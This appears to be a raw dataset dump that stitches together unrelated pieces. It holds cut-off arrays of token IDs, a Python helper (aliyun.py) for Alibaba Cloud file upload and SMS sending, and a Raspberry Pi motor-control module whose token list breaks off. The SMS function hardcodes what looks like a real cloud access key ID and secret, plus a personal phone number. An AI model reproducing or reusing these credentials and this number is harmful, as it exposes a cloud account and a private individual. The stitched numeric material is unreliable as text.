462, 9651, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 3009, 29926, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 1761, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 4197, 29896, 29892, 29871, 29906, 29892, 7700, 2314, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29880, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29941, 29874, 29905, 29916, 29900, 29896, 29874, 29905, 29916, 29900, 29906, 29882, 29905, 29916, 29900, 29906, 29881, 29915, 13, 462, 9651, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29945, 4541, 29926, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 6310, 29918, 1761, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 4197, 2314, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29906, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29941, 8834, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 3009, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 5574, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29906, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 3009, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 4541, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 8824, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29906, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29945, 4541, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 9290, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 8516, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29906, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29873, 15955, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 8977, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 3319, 29915, 1989, 2396, 525, 1767, 29915, 1800, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29941, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 8977, 29880, 29915, 13, 462, 9651, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29882, 29905, 29916, 29900, 29906, 29885, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29941, 29915, 13, 462, 9651, 289, 29915, 446, 962, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29945, 1767, 29926, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 6310, 29918, 8977, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 3319, 1800, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29941, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 8977, 29926, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 12673, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 12673, 29889, 12673, 29898, 29906, 29900, 29896, 29946, 29892, 29871, 29906, 29892, 29871, 29896, 29900, 29892, 29871, 29953, 29892, 29871, 29906, 29892, 29871, 29945, 29896, 29892, 29871, 29941, 29953, 29906, 29896, 29945, 876, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29945, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 2230, 29890, 29915, 13, 462, 9651, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29945, 24381, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 7998, 29916, 29947, 1327, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29947, 28012, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 29900, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 29900, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29874, 29905, 29916, 29900, 29900, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 29896, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 29896, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29874, 29905, 29916, 29900, 29896, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 29900, 29918, 7411, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 29900, 29889, 29900, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29883, 29900, 29889, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29872, 29974, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 1495, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 13087, 29898, 1311, 1125, 13, 1678, 6528, 353, 337, 29889, 12198, 877, 23733, 29895, 986, 29891, 1262, 742, 337, 29889, 29902, 29989, 276, 29889, 29990, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13087, 29889, 11037, 29892, 525, 23733, 29895, 986, 29891, 1262, 1495, 13, 1678, 1583, 29889, 9294, 797, 29898, 13087, 29889, 15764, 29892, 313, 29953, 29953, 29892, 29871, 29929, 29947, 876, 396, 3017, 29871, 29906, 29889, 29916, 847, 29871, 29953, 29953, 29892, 3017, 29871, 29941, 29889, 29916, 847, 29871, 29929, 29947, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 13087, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29946, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29945, 13087, 29885, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29873, 29915, 13, 462, 9651, 289, 29915, 23733, 29895, 986, 29891, 1262, 29882, 29905, 29916, 29900, 29906, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29947, 1062, 2760, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29947, 9398, 6393, 1495, 13, 13, 2 ]
Kinkajou/python/common/aliyun.py
app858216291-github/Kinkajou-shop
0
174850
<filename>Kinkajou/python/common/aliyun.py # -*- coding: utf-8 -*- import oss2,os import datetime,random from werkzeug.utils import secure_filename from setting import Aliyun from aliyunsdkcore.client import AcsClient from aliyunsdkcore.request import CommonRequest AccessKeyID = Aliyun.AccessKeyID AccessKeySecret = Aliyun.AccessKeySecret Url =Aliyun.Url bucketName = Aliyun.bucketName # 阿里云主账号AccessKey拥有所有API的访问权限,风险很高。强烈建议您创建并使用RAM账号进行API访问或日常运维,请登录 https://ram.console.aliyun.com 创建RAM账号。 auth = oss2.Auth(AccessKeyID, AccessKeySecret) # Endpoint以杭州为例,其它Region请按实际情况填写。 bucket = oss2.Bucket(auth, Url, bucketName) gen_rnd_filename = lambda :"%s%s" %(datetime.datetime.now().strftime('%Y%m%d%H%M%S'), str(random.randrange(1000, 10000))) ##阿里云官方代码 def upload_api(filename,dir="common"): # 必须以二进制的方式打开文件,因为需要知道文件包含的字节数。 with open(filename, 'rb') as fileobj: # Seek方法用于指定从第1000个字节位置开始读写。上传时会从您指定的第1000个字节位置开始上传,直到文件结束。 # fileobj.seek(1000, os.SEEK_SET) # Tell方法用于返回当前位置。 # current = fileobj.tell() bucket.put_object(dir+'/'+filename, fileobj) print("完成") ##layui上传文件api def upload(f,dir="common"): filename = secure_filename(gen_rnd_filename() + "." + f.filename.split('.')[-1]) bucket.put_object(dir+'/' + filename, f) return filename # upload("123.jpg") ###发送短息 def smssend(): client = AcsClient('LTAIow0LIFQ8ZprF', 'AiYBERNMriW85JBWoZPl62C9hMsago', 'ap-northeast-1') request = CommonRequest() request.set_accept_format('json') request.set_domain('dysmsapi.aliyuncs.com') request.set_method('POST') request.set_protocol_type('https') # https | http request.set_version('2017-05-25') request.set_action_name('SendSms') request.add_query_param('PhoneNumbers', "13774514086") request.add_query_param('SignName', "蜜熊科技") request.add_query_param('TemplateCode', "SMS_218292663") request.add_query_param('TemplateParam', "{\"code\":\"1111\"}") response = client.do_action(request) # python2: print(response) print(str(response, encoding = 'utf-8')) # smssend()
[ 1, 529, 9507, 29958, 29968, 682, 1175, 283, 29914, 4691, 29914, 9435, 29914, 2606, 29891, 348, 29889, 2272, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 30004, 13, 5215, 288, 893, 29906, 29892, 359, 30004, 13, 5215, 12865, 29892, 8172, 30004, 13, 3166, 23085, 13289, 29889, 13239, 1053, 11592, 29918, 9507, 30004, 13, 3166, 4444, 1053, 10785, 29891, 348, 30004, 13, 3166, 14430, 29891, 348, 15348, 3221, 29889, 4645, 1053, 319, 2395, 4032, 30004, 13, 3166, 14430, 29891, 348, 15348, 3221, 29889, 3827, 1053, 13103, 3089, 30004, 13, 30004, 13, 30004, 13, 6638, 2558, 1367, 353, 10785, 29891, 348, 29889, 6638, 2558, 1367, 30004, 13, 6638, 2558, 28459, 353, 10785, 29891, 348, 29889, 6638, 2558, 28459, 30004, 13, 5983, 353, 29909, 492, 29891, 348, 29889, 5983, 30004, 13, 21454, 1170, 353, 10785, 29891, 348, 29889, 21454, 1170, 30004, 13, 29937, 29871, 31227, 30755, 31784, 30888, 235, 183, 169, 30850, 6638, 2558, 233, 142, 168, 30417, 30744, 30417, 8787, 30210, 235, 177, 194, 31658, 233, 160, 134, 31175, 30214, 236, 166, 145, 236, 156, 172, 232, 193, 139, 30528, 30267, 232, 191, 189, 234, 134, 139, 30886, 235, 177, 177, 233, 133, 171, 31441, 30886, 31666, 30785, 30406, 25058, 235, 183, 169, 30850, 31174, 30448, 8787, 235, 177, 194, 31658, 31391, 30325, 31190, 31894, 234, 190, 183, 30214, 31088, 31451, 31283, 2045, 597, 2572, 29889, 11058, 29889, 2606, 29891, 348, 29889, 510, 29871, 31441, 30886, 25058, 235, 183, 169, 30850, 30267, 30004, 13, 5150, 353, 288, 893, 29906, 29889, 6444, 29898, 6638, 2558, 1367, 29892, 11028, 2558, 28459, 8443, 13, 29937, 2796, 3149, 30651, 233, 160, 176, 30765, 30573, 31507, 30214, 31149, 232, 177, 134, 18457, 31088, 31590, 31195, 236, 156, 136, 30993, 232, 137, 184, 232, 164, 174, 31479, 30267, 30004, 13, 21454, 353, 288, 893, 29906, 29889, 29933, 2707, 300, 29898, 5150, 29892, 501, 2096, 29892, 20968, 1170, 8443, 13, 1885, 29918, 29878, 299, 29918, 9507, 353, 14013, 584, 29908, 29995, 29879, 29995, 29879, 29908, 1273, 29898, 12673, 29889, 12673, 29889, 3707, 2141, 710, 615, 603, 877, 29995, 29979, 29995, 29885, 29995, 29881, 29995, 29950, 29995, 29924, 29995, 29903, 5477, 851, 29898, 8172, 29889, 9502, 3881, 29898, 29896, 29900, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29900, 4961, 30004, 13, 30004, 13, 2277, 31227, 30755, 31784, 31694, 30525, 30690, 31183, 30004, 13, 1753, 6441, 29918, 2754, 29898, 9507, 29892, 3972, 543, 9435, 29908, 1125, 30004, 13, 1678, 396, 29871, 31641, 236, 164, 190, 30651, 30685, 31174, 31072, 30210, 30525, 30607, 31656, 31026, 30333, 30631, 30214, 31570, 30573, 31383, 30698, 31043, 30397, 30333, 30631, 31473, 232, 147, 174, 30210, 30578, 31669, 30354, 30267, 30004, 13, 1678, 411, 1722, 29898, 9507, 29892, 525, 6050, 1495, 408, 934, 5415, 29901, 30004, 13, 4706, 396, 922, 1416, 30525, 30545, 30406, 30909, 31084, 30495, 31594, 30622, 29896, 29900, 29900, 29900, 30502, 30578, 31669, 30956, 30669, 31026, 31020, 235, 178, 190, 31479, 30267, 30429, 31471, 30594, 30437, 31594, 233, 133, 171, 31084, 30495, 30210, 30622, 29896, 29900, 29900, 29900, 30502, 30578, 31669, 30956, 30669, 31026, 31020, 30429, 31471, 30214, 31157, 30780, 30333, 30631, 31320, 233, 160, 162, 30267, 30004, 13, 4706, 396, 934, 5415, 29889, 344, 1416, 29898, 29896, 29900, 29900, 29900, 29892, 2897, 29889, 22048, 29968, 29918, 10490, 8443, 13, 4706, 396, 24948, 30525, 30545, 30406, 30909, 31086, 30742, 30948, 30658, 30956, 30669, 30267, 30004, 13, 4706, 396, 1857, 353, 934, 5415, 29889, 29873, 514, 26471, 13, 4706, 20968, 29889, 649, 29918, 3318, 29898, 3972, 23097, 29914, 18717, 9507, 29892, 934, 5415, 8443, 13, 1678, 1596, 703, 31366, 30494, 1159, 30004, 13, 30004, 13, 2277, 8387, 1481, 30429, 31471, 30333, 30631, 2754, 30004, 13, 1753, 6441, 29898, 29888, 29892, 3972, 543, 9435, 29908, 1125, 30004, 13, 1678, 10422, 353, 11592, 29918, 9507, 29898, 1885, 29918, 29878, 299, 29918, 9507, 580, 718, 376, 1213, 718, 285, 29889, 9507, 29889, 5451, 12839, 1495, 14352, 29896, 2314, 30004, 13, 1678, 20968, 29889, 649, 29918, 3318, 29898, 3972, 23097, 22208, 718, 10422, 29892, 285, 8443, 13, 1678, 736, 10422, 30004, 13, 29937, 6441, 703, 29896, 29906, 29941, 29889, 6173, 1159, 30004, 13, 30004, 13, 2277, 29937, 30910, 31545, 234, 162, 176, 31021, 30004, 13, 1753, 1560, 893, 355, 7295, 30004, 13, 1678, 3132, 353, 319, 2395, 4032, 877, 5850, 23869, 340, 29900, 5265, 29943, 29984, 29947, 29999, 558, 29943, 742, 525, 29909, 29875, 29979, 13635, 29940, 29924, 374, 29956, 29947, 29945, 29674, 29956, 29877, 29999, 3247, 29953, 29906, 29907, 29929, 29882, 29924, 29879, 4425, 742, 525, 481, 29899, 29876, 27374, 29899, 29896, 1495, 30004, 13, 1678, 2009, 353, 13103, 3089, 26471, 13, 1678, 2009, 29889, 842, 29918, 16044, 29918, 4830, 877, 3126, 1495, 30004, 13, 1678, 2009, 29889, 842, 29918, 7247, 877, 29881, 952, 1516, 2754, 29889, 2606, 29891, 348, 2395, 29889, 510, 1495, 30004, 13, 1678, 2009, 29889, 842, 29918, 5696, 877, 5438, 1495, 30004, 13, 1678, 2009, 29889, 842, 29918, 20464, 29918, 1853, 877, 991, 1495, 396, 2045, 891, 1732, 30004, 13, 1678, 2009, 29889, 842, 29918, 3259, 877, 29906, 29900, 29896, 29955, 29899, 29900, 29945, 29899, 29906, 29945, 1495, 30004, 13, 1678, 2009, 29889, 842, 29918, 2467, 29918, 978, 877, 12600, 29903, 1516, 1495, 30004, 13, 30004, 13, 1678, 2009, 29889, 1202, 29918, 1972, 29918, 3207, 877, 9861, 29478, 742, 376, 29896, 29941, 29955, 29955, 29946, 29945, 29896, 29946, 29900, 29947, 29953, 1159, 30004, 13, 1678, 2009, 29889, 1202, 29918, 1972, 29918, 3207, 877, 10140, 1170, 742, 376, 235, 159, 159, 234, 137, 141, 31030, 31615, 1159, 30004, 13, 1678, 2009, 29889, 1202, 29918, 1972, 29918, 3207, 877, 6733, 3399, 742, 376, 29903, 4345, 29918, 29906, 29896, 29947, 29906, 29929, 29906, 29953, 29953, 29941, 1159, 30004, 13, 1678, 2009, 29889, 1202, 29918, 1972, 29918, 3207, 877, 6733, 4736, 742, 376, 741, 29908, 401, 16203, 5931, 29896, 29896, 29896, 29896, 5931, 27195, 30004, 13, 1678, 2933, 353, 3132, 29889, 1867, 29918, 2467, 29898, 3827, 8443, 13, 1678, 396, 3017, 29906, 29901, 29871, 1596, 29898, 5327, 8443, 13, 1678, 1596, 29898, 710, 29898, 5327, 29892, 8025, 353, 525, 9420, 29899, 29947, 8785, 30004, 13, 29937, 1560, 893, 355, 26471, 13, 2 ]
python/motorModule.py
jhol0613/pacbot2018
0
59877
<filename>python/motorModule.py #!/usr/bin/env python3 import os import robomodules as rm from messages import * import RPi.GPIO as GPIO import time import signal import sys ADDRESS = os.environ.get("BIND_ADDRESS","localhost") PORT = os.environ.get("BIND_PORT", 11293) FREQUENCY = 0 LEFT_PWM = 32 LEFT_1 = 36 LEFT_2 = 38 RIGHT_PWM = 33 RIGHT_1 = 35 RIGHT_2 = 37 BACKWARD = 0 FORWARD = 1 LEFT_MOTOR = 0 RIGHT_MOTOR = 1 class MotorModule(rm.ProtoModule): def __init__(self, addr, port): print("Initializing Motors...") self.subscriptions = [MsgType.TWIST] super().__init__(addr, port, message_buffers, MsgType, FREQUENCY, self.subscriptions) self.initializeMotors() self.leftSpeed = 0 self.rightSpeed = 0 self.leftDir = 0 self.rightDir = 0 print("Motors Initialized") def msg_received(self, msg, msg_type): # This gets called whenever any message is received if msg_type == MsgType.TWIST: self.processTwist(msg.velocity, msg.omega) def tick(self): # this function will get called in a loop with FREQUENCY frequency return def initializeMotors(self): GPIO.setmode(GPIO.BOARD) GPIO.setup(LEFT_PWM, GPIO.OUT) GPIO.setup(LEFT_1, GPIO.OUT) GPIO.setup(LEFT_2, GPIO.OUT) GPIO.setup(RIGHT_PWM, GPIO.OUT) GPIO.setup(RIGHT_1, GPIO.OUT) GPIO.setup(RIGHT_2, GPIO.OUT) self.right_pwm = GPIO.PWM(RIGHT_PWM, 100) self.left_pwm = GPIO.PWM(LEFT_PWM, 100) self.right_pwm.start(0) self.left_pwm.start(0) self.setDirection(LEFT_MOTOR, FORWARD) self.setDirection(RIGHT_MOTOR, FORWARD) time.sleep(1) def setDirection(self, motor, direction): if motor == LEFT_MOTOR: if direction == FORWARD: GPIO.output(LEFT_1, True) GPIO.output(LEFT_2, False) else: GPIO.output(LEFT_1, False) GPIO.output(LEFT_2, True) else: if direction == FORWARD: GPIO.output(RIGHT_1, True) GPIO.output(RIGHT_2, False) else: GPIO.output(RIGHT_1, False) GPIO.output(RIGHT_2, True) # Takes linear and rotational values and converts into signals for left and right motor def processTwist(self, linSpeed, rotSpeed): leftSpeed = linSpeed rightSpeed = linSpeed leftSpeed += rotSpeed rightSpeed -= rotSpeed if leftSpeed >= 0: self.setDirection(LEFT_MOTOR, FORWARD) else: self.setDirection(LEFT_MOTOR, BACKWARD) if rightSpeed >= 0: self.setDirection(RIGHT_MOTOR, FORWARD) else: self.setDirection(RIGHT_MOTOR, BACKWARD) # If speeds beyond limits, set to limits. Otherwise set to calculated speed if abs(leftSpeed) > 100: self.left_pwm.ChangeDutyCycle(100) else: self.left_pwm.ChangeDutyCycle(abs(leftSpeed)) if abs(rightSpeed) > 100: self.right_pwm.ChangeDutyCycle(100) else: self.right_pwm.ChangeDutyCycle(abs(rightSpeed)) def destroy(*args): GPIO.cleanup() print("Motor module safely terminated") sys.exit() def main(): signal.signal(signal.SIGINT, destroy) signal.signal(signal.SIGTERM, destroy) module = MotorModule(ADDRESS, PORT) module.run() if __name__ == "__main__": main()
[ 1, 529, 9507, 29958, 4691, 29914, 14817, 272, 7355, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 5215, 2897, 13, 5215, 10832, 290, 397, 2540, 408, 20241, 13, 3166, 7191, 1053, 334, 13, 13, 5215, 390, 12197, 29889, 29954, 2227, 29949, 408, 402, 2227, 29949, 13, 5215, 931, 13, 5215, 7182, 13, 5215, 10876, 13, 13, 17744, 26785, 353, 2897, 29889, 21813, 29889, 657, 703, 29933, 22255, 29918, 17744, 26785, 3284, 7640, 1159, 13, 15082, 353, 2897, 29889, 21813, 29889, 657, 703, 29933, 22255, 29918, 15082, 613, 29871, 29896, 29896, 29906, 29929, 29941, 29897, 13, 13, 29943, 1525, 13356, 1430, 29907, 29979, 353, 29871, 29900, 13, 13, 28024, 29918, 29925, 26735, 353, 29871, 29941, 29906, 13, 28024, 29918, 29896, 353, 29871, 29941, 29953, 13, 28024, 29918, 29906, 353, 29871, 29941, 29947, 13, 22789, 3912, 29918, 29925, 26735, 353, 29871, 29941, 29941, 13, 22789, 3912, 29918, 29896, 353, 29871, 29941, 29945, 13, 22789, 3912, 29918, 29906, 353, 29871, 29941, 29955, 13, 13, 29933, 11375, 29956, 17011, 353, 29871, 29900, 13, 22051, 29956, 17011, 353, 29871, 29896, 13, 13, 28024, 29918, 29924, 2891, 1955, 353, 29871, 29900, 13, 22789, 3912, 29918, 29924, 2891, 1955, 353, 29871, 29896, 13, 13, 1990, 16843, 7355, 29898, 1758, 29889, 1184, 517, 7355, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 28915, 29892, 2011, 1125, 13, 4706, 1596, 703, 15514, 5281, 7142, 943, 856, 1159, 13, 4706, 1583, 29889, 1491, 7588, 1980, 353, 518, 16190, 1542, 29889, 16240, 9047, 29962, 13, 4706, 2428, 2141, 1649, 2344, 12035, 10030, 29892, 2011, 29892, 2643, 29918, 28040, 414, 29892, 28264, 1542, 29892, 383, 1525, 13356, 1430, 29907, 29979, 29892, 1583, 29889, 1491, 7588, 1980, 29897, 13, 4706, 1583, 29889, 24926, 29924, 327, 943, 580, 13, 4706, 1583, 29889, 1563, 26539, 353, 29871, 29900, 13, 4706, 1583, 29889, 1266, 26539, 353, 29871, 29900, 13, 4706, 1583, 29889, 1563, 9170, 353, 29871, 29900, 13, 4706, 1583, 29889, 1266, 9170, 353, 29871, 29900, 13, 4706, 1596, 703, 29924, 327, 943, 17250, 1891, 1159, 13, 13, 1678, 822, 10191, 29918, 13556, 2347, 29898, 1311, 29892, 10191, 29892, 10191, 29918, 1853, 1125, 13, 4706, 396, 910, 4947, 2000, 10940, 738, 2643, 338, 4520, 13, 4706, 565, 10191, 29918, 1853, 1275, 28264, 1542, 29889, 16240, 9047, 29901, 13, 9651, 1583, 29889, 5014, 27418, 391, 29898, 7645, 29889, 955, 25245, 29892, 10191, 29889, 4787, 29897, 13, 13, 1678, 822, 16892, 29898, 1311, 1125, 13, 4706, 396, 445, 740, 674, 679, 2000, 297, 263, 2425, 411, 383, 1525, 13356, 1430, 29907, 29979, 10868, 13, 4706, 736, 13, 13, 1678, 822, 11905, 29924, 327, 943, 29898, 1311, 1125, 13, 4706, 402, 2227, 29949, 29889, 842, 8513, 29898, 29954, 2227, 29949, 29889, 8456, 17011, 29897, 13, 13, 4706, 402, 2227, 29949, 29889, 14669, 29898, 28024, 29918, 29925, 26735, 29892, 402, 2227, 29949, 29889, 12015, 29897, 13, 4706, 402, 2227, 29949, 29889, 14669, 29898, 28024, 29918, 29896, 29892, 402, 2227, 29949, 29889, 12015, 29897, 13, 4706, 402, 2227, 29949, 29889, 14669, 29898, 28024, 29918, 29906, 29892, 402, 2227, 29949, 29889, 12015, 29897, 13, 4706, 402, 2227, 29949, 29889, 14669, 29898, 22789, 3912, 29918, 29925, 26735, 29892, 402, 2227, 29949, 29889, 12015, 29897, 13, 4706, 402, 2227, 29949, 29889, 14669, 29898, 22789, 3912, 29918, 29896, 29892, 402, 2227, 29949, 29889, 12015, 29897, 13, 4706, 402, 2227, 29949, 29889, 14669, 29898, 22789, 3912, 29918, 29906, 29892, 402, 2227, 29949, 29889, 12015, 29897, 13, 13, 4706, 1583, 29889, 1266, 29918, 29886, 29893, 29885, 353, 402, 2227, 29949, 29889, 29925, 26735, 29898, 22789, 3912, 29918, 29925, 26735, 29892, 29871, 29896, 29900, 29900, 29897, 13, 4706, 1583, 29889, 1563, 29918, 29886, 29893, 29885, 353, 402, 2227, 29949, 29889, 29925, 26735, 29898, 28024, 29918, 29925, 26735, 29892, 29871, 29896, 29900, 29900, 29897, 13, 13, 4706, 1583, 29889, 1266, 29918, 29886, 29893, 29885, 29889, 2962, 29898, 29900, 29897, 13, 4706, 1583, 29889, 1563, 29918, 29886, 29893, 29885, 29889, 2962, 29898, 29900, 29897, 13, 4706, 1583, 29889, 842, 21602, 29898, 28024, 29918, 29924, 2891, 1955, 29892, 15842, 29956, 17011, 29897, 13, 4706, 1583, 29889, 842, 21602, 29898, 22789, 3912, 29918, 29924, 2891, 1955, 29892, 15842, 29956, 17011, 29897, 13, 13, 4706, 931, 29889, 17059, 29898, 29896, 29897, 13, 13, 1678, 822, 731, 21602, 29898, 1311, 29892, 10992, 29892, 5305, 1125, 13, 4706, 565, 10992, 1275, 19246, 29918, 29924, 2891, 1955, 29901, 13, 9651, 565, 5305, 1275, 15842, 29956, 17011, 29901, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 28024, 29918, 29896, 29892, 5852, 29897, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 28024, 29918, 29906, 29892, 7700, 29897, 13, 9651, 1683, 29901, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 28024, 29918, 29896, 29892, 7700, 29897, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 28024, 29918, 29906, 29892, 5852, 29897, 13, 4706, 1683, 29901, 13, 9651, 565, 5305, 1275, 15842, 29956, 17011, 29901, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 22789, 3912, 29918, 29896, 29892, 5852, 29897, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 22789, 3912, 29918, 29906, 29892, 7700, 29897, 13, 9651, 1683, 29901, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 22789, 3912, 29918, 29896, 29892, 7700, 29897, 13, 18884, 402, 2227, 29949, 29889, 4905, 29898, 22789, 3912, 29918, 29906, 29892, 5852, 29897, 13, 13, 1678, 396, 323, 6926, 5608, 322, 5731, 1288, 1819, 322, 29436, 964, 18470, 363, 2175, 322, 1492, 10992, 13, 1678, 822, 1889, 27418, 391, 29898, 1311, 29892, 6276, 26539, 29892, 5731, 26539, 1125, 13, 4706, 2175, 26539, 353, 6276, 26539, 13, 4706, 1492, 26539, 353, 6276, 26539, 13, 13, 4706, 2175, 26539, 4619, 5731, 26539, 13, 4706, 1492, 26539, 22361, 5731, 26539, 13, 632, 13, 308, 13, 4706, 565, 2175, 26539, 6736, 29871, 29900, 29901, 13, 9651, 1583, 29889, 842, 21602, 29898, 28024, 29918, 29924, 2891, 1955, 29892, 15842, 29956, 17011, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 842, 21602, 29898, 28024, 29918, 29924, 2891, 1955, 29892, 350, 11375, 29956, 17011, 29897, 13, 4706, 565, 1492, 26539, 6736, 29871, 29900, 29901, 13, 9651, 1583, 29889, 842, 21602, 29898, 22789, 3912, 29918, 29924, 2891, 1955, 29892, 15842, 29956, 17011, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 842, 21602, 29898, 22789, 3912, 29918, 29924, 2891, 1955, 29892, 350, 11375, 29956, 17011, 29897, 13, 13, 4706, 396, 960, 961, 5779, 8724, 13071, 29892, 731, 304, 13071, 29889, 13466, 731, 304, 12833, 6210, 13, 4706, 565, 6425, 29898, 1563, 26539, 29897, 1405, 29871, 29896, 29900, 29900, 29901, 13, 9651, 1583, 29889, 1563, 29918, 29886, 29893, 29885, 29889, 7277, 29928, 329, 29891, 29907, 13317, 29898, 29896, 29900, 29900, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 1563, 29918, 29886, 29893, 29885, 29889, 7277, 29928, 329, 29891, 29907, 13317, 29898, 6897, 29898, 1563, 26539, 876, 13, 4706, 565, 6425, 29898, 1266, 26539, 29897, 1405, 29871, 29896, 29900, 29900, 29901, 13, 9651, 1583, 29889, 1266, 29918, 29886, 29893, 29885, 29889, 7277, 29928, 329, 29891, 29907, 13317, 29898, 29896, 29900, 29900, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 1266, 29918, 29886, 29893, 29885, 29889, 7277, 29928, 329, 29891, 29907, 13317, 29898, 6897, 29898, 1266, 26539, 876, 13, 13, 1753, 8174, 